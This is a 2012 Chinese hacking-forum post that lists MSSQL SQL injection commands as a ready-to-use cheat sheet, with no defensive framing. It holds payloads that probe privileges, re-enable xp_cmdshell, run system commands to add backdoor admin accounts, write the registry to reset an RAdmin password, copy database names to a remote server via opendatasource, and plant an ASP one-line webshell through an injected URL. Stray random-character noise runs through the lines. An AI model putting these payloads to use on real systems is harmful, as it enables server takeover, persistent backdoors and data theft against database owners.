找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1950|回复: 0
打印 上一主题 下一主题

阿D常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:26:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
阿D常用的一些注入命令
1 O+ `; c( a- E" j: @+ ^% r//看看是什么权限的
' D# w$ d0 _2 b! fand 1=(Select IS_MEMBER('db_owner'))
+ v# z1 I  r: Q2 a# |  OAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--+ Z- N; ?5 y; g+ {
& R( ?3 l" j5 M
//检测是否有读取某数据库的权限
1 R' B( F) r) O# d# B+ @, uand 1= (Select HAS_DBACCESS('master'))
/ `. C9 R! }0 y5 v6 J* MAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
) B, |/ y+ x2 a; P3 L- G3 {4 q3 p) V9 N

# U+ \4 v. n# h0 K4 M9 Q3 i  y# r数字类型: L% Z. L, V' q; v6 p
and char(124)%2Buser%2Bchar(124)=0' O2 ^8 k, n4 `' q

: T4 _3 {% _) j  U6 P字符类型
, Y9 r! ]/ |' s8 }. J' and char(124)%2Buser%2Bchar(124)=0 and ''='
% |2 r! ]3 Q* ~  ]+ T& R# |1 F1 s0 W0 j6 G( A2 e3 X' C
搜索类型
: Y; s2 R6 a' p  T- V3 X' and char(124)%2Buser%2Bchar(124)=0 and '%'='
0 |# W0 E/ e/ h( d% E& H
: `! W# h# F9 ~# H; w5 ~( `" r6 Q: c4 }8 a3 l爆用户名
% R  M6 Y4 U( r0 M( G& L0 pand user>0
+ w2 Y( ?/ I5 V" M9 ~3 l' and user>0 and ''='
* A  H1 D! \8 ]  F9 r7 Q
; J% Q0 G* x$ M& G/ D检测是否为SA权限
7 `% e: F( H. J* M7 P2 \+ Zand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
. E6 A% Y- B5 H, l. [& d7 ~4 n$ oAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --" H/ j3 y* C2 k  u1 E3 \4 A; w

4 E6 l) g; z+ ^. A3 w1 v- T: l检测是不是MSSQL数据库2 S- \; w$ j' Q4 A' `1 O5 a
and exists (select * from sysobjects);-- 4 A$ u# F6 ]* h  E3 M% U/ v4 ^

# L* u2 f! H+ z, e/ Y4 r, i1 @5 w检测是否支持多行
* u# H. p' e6 C" a;declare @d int;--
/ H3 j  W. j" f  ]+ `9 B3 M, a
9 ?4 _5 |& p; `# ?4 ^8 |. v0 x' l恢复 xp_cmdshell
0 N" W3 U% p3 I7 L1 Q;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
' J! a' i0 R  z
( l$ x9 U6 Y1 Z
& i0 J5 v0 l0 G' S3 P4 Dselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') : q# U2 e8 W9 b5 u2 K( T0 B$ R
* c' }$ h1 }7 o" B& `) z
//-----------------------4 r" K% r9 i; q* r. ~4 T
//      执行命令
. h  @" c. c, g( I' V+ ?; E; b//-----------------------1 `3 `# J; |/ n9 x5 \
首先开启沙盘模式:
, s0 G2 m' _0 r& wexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',14 i" b4 V, c+ ]& K: J, a
* A% {" f- t) ]/ r
然后利用jet.oledb执行系统命令
' j# k9 l( u1 D2 }$ e9 d; d# ]select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')5 J0 z! {9 I8 r) X  m
7 G+ ]# _" y9 x! y
执行命令
, ~- U+ K1 z+ q( y;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
% e/ c4 g7 J- s! Q( Q
* X% s  F5 Y0 E' C8 T* |- V0 VEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'& |# U5 w/ I1 m  i
. j9 p/ c: Q6 |% D" Y
判断xp_cmdshell扩展存储过程是否存在:
3 \' c6 X1 S4 b% ahttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')2 J7 D& Q( H2 N, R& P) I

+ K/ L- S; h- ~1 Q3 o- r; C" X写注册表7 R% n; f0 W5 z
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',16 n% E) t8 g$ |: W& g) F

% t6 U% ~& V$ x7 g+ W* A  [REG_SZ$ K) M# V# Z0 `3 e% @4 [: c

* b9 d. Z: Z: Z9 X; `读注册表
: e: W+ R; c8 Y* S( q4 [2 Kexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'  g6 A4 w( v$ v2 {9 a# j

' Y: F3 Z  @& _: ]读取目录内容# Q& `0 S$ E" _9 n
exec master..xp_dirtree 'c:\winnt\system32\',1,1+ D# J8 x  f7 n# ?

6 Y6 y; i# k! R$ \& [8 Q, ?3 @+ i2 \0 E* M) b6 Y3 C. p
数据库备份( A3 p; n6 I* |5 ~
backup database pubs to disk = 'c:\123.bak'8 W; U$ S: B; K  U* \6 D
$ C! c/ ?" [% e# A  G( T" x3 S
//爆出长度9 i& Y3 s; {; ?$ Y3 _  y
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
4 w1 f( P( Z  I) P3 N' A  n3 @4 [' B6 y2 z% }2 V7 d7 W

# x1 g4 Z, W& u- F! L% p& Q5 h$ @, d2 r6 n
更改sa口令方法:用sql综合利用工具连接后,执行命令:6 s0 ^2 ?! F! ~. q
exec sp_password NULL,'新密码','sa'% q, w  ~' }# k# v# [1 F, e# s

) U$ M5 @2 c3 y5 B添加和删除一个SA权限的用户test:
1 s  A" t- i( B$ q) u- Eexec master.dbo.sp_addlogin test,ptlove
2 j" z# S/ q/ }1 c  Y5 Y1 Y2 Q; J' {( [exec master.dbo.sp_addsrvrolemember test,sysadmin* h) l) y- {' p% Z2 e
) a& y1 j7 |. d" \2 y, e1 ]
删除扩展存储过过程xp_cmdshell的语句:
8 w  X# {" _* Z6 k/ Zexec sp_dropextendedproc 'xp_cmdshell'
+ R/ ?9 Y0 O9 w8 ~" Z$ L6 F: m1 ]
. Y" s0 x4 N' S添加扩展存储过过程8 p9 v1 d* j. s, }5 U, c
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' ' H: C8 k% S, l- n7 f2 f
GRANT exec On xp_proxiedadata TO public
6 j/ T9 T3 s8 ~3 T$ I4 l# |
* z6 b7 a/ U+ t2 E9 t8 I7 V& t: Y- I
& v6 z: W9 R- B! X6 M, [1 A" R停掉或激活某个服务。 1 c" M. L  v! m4 V- O7 \8 N

, H2 {6 K8 i2 f, Uexec master..xp_servicecontrol 'stop','schedule'( h8 K' ~5 G$ ?; s" {
exec master..xp_servicecontrol 'start','schedule'5 J' h* F0 D% F* N7 r+ a

/ P# d* W! X- o- U8 Pdbo.xp_subdirs% {# h' D& |! F* O9 a8 {
7 |' [/ Y5 q" q4 d: I6 N# k8 Z
只列某个目录下的子目录。0 X" D9 q! Y* k7 M+ z; I1 J
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp': q" O& o+ y7 |; V) o

/ c+ {' R5 u4 @* \4 `8 q. kdbo.xp_makecab; [' m  o9 ^) E) P

3 J' }7 ]  r! z将目标多个档案压缩到某个目标档案之内。
: O- k7 j8 n, j2 s+ e+ H( I, A所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
# w6 _4 c- m% W; }6 `% A, Q& j
" q& w- X6 L' _- T( g9 H0 `dbo.xp_makecab0 j4 F$ S' w% q: d* y0 w
'c:\test.cab','mszip',1,
* t- b7 `0 D; `, N; b9 _; A* R$ E'C:\Inetpub\wwwroot\SQLInject\login.asp',, c1 f! B5 n7 u: Q
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'# n) S* o% m4 Q; b

/ r& `9 F# j3 r0 g+ s8 W8 Oxp_terminate_process
6 s1 D+ p+ D1 t0 p) |8 G1 J$ ]* h. c' N% w) G" v% B* C2 ^
停掉某个执行中的程序,但赋予的参数是 Process ID。
3 i- U. q, G. K  E利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
& K$ r1 h3 [( P5 U0 R8 [+ x1 h: C( J6 R1 R: L' e' v
xp_terminate_process 2484  s. S/ e+ _6 y& G! L

  Q5 q1 X7 e! |' T1 c( q& \xp_unpackcab% W8 F- n' f( ]1 H3 r& }
1 |4 A* \! ^, w3 S0 X3 U( x: u
解开压缩档。8 g1 v0 g1 ^  `' b; `* ]

  u+ n1 n# a* U' v6 e: ?/ nxp_unpackcab 'c:\test.cab','c:\temp',1
0 H- g2 ]% H6 G/ f8 ]
: \) w4 S/ k8 `6 g+ d8 }) [+ M9 @0 C3 `1 n$ X7 P
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234/ [+ Z5 i  S  w% @9 F, ~  E
, m$ x  a7 @9 R" _. `
create database lcx;
" H" c5 ~+ l/ Y8 @: U+ l; T, HCreate TABLE ku(name nvarchar(256) null);; @9 Q+ c) m1 A+ e, }: p
Create TABLE biao(id int NULL,name nvarchar(256) null);& A- E& W  V7 P1 h
5 T4 J0 Y: G/ z9 z; S- m
//得到数据库名; ^' f6 t; E3 B6 @
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases  b2 e0 ]! g2 ~) P

% F$ R0 U& k$ \' _6 H2 [  J# s# d" H0 i. ^0 W+ t) j# l) U3 B% I
//在Master中创建表,看看权限怎样
* n8 H5 o& E) D9 m' J& oCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
! U0 l' `/ ]; [0 v
4 p9 ^! X- N. c5 ]( y1 ]" n' e用 sp_makewebtask直接在web目录里写入一句话马:( z, o/ \2 M# A8 j9 ~" Z2 C  R
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
3 D1 L+ F% |7 m. P
- W& ~% S# a( I- \1 j//更新表内容
/ o; i# y$ F2 d6 z' cUpdate films SET kind = 'Dramatic' Where id = 123
) X/ P6 G  l- ?3 c9 c4 y/ `6 ~' q. y) ^9 Z9 V) J
//删除内容5 H2 w6 U( a7 q1 d" T: E
delete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表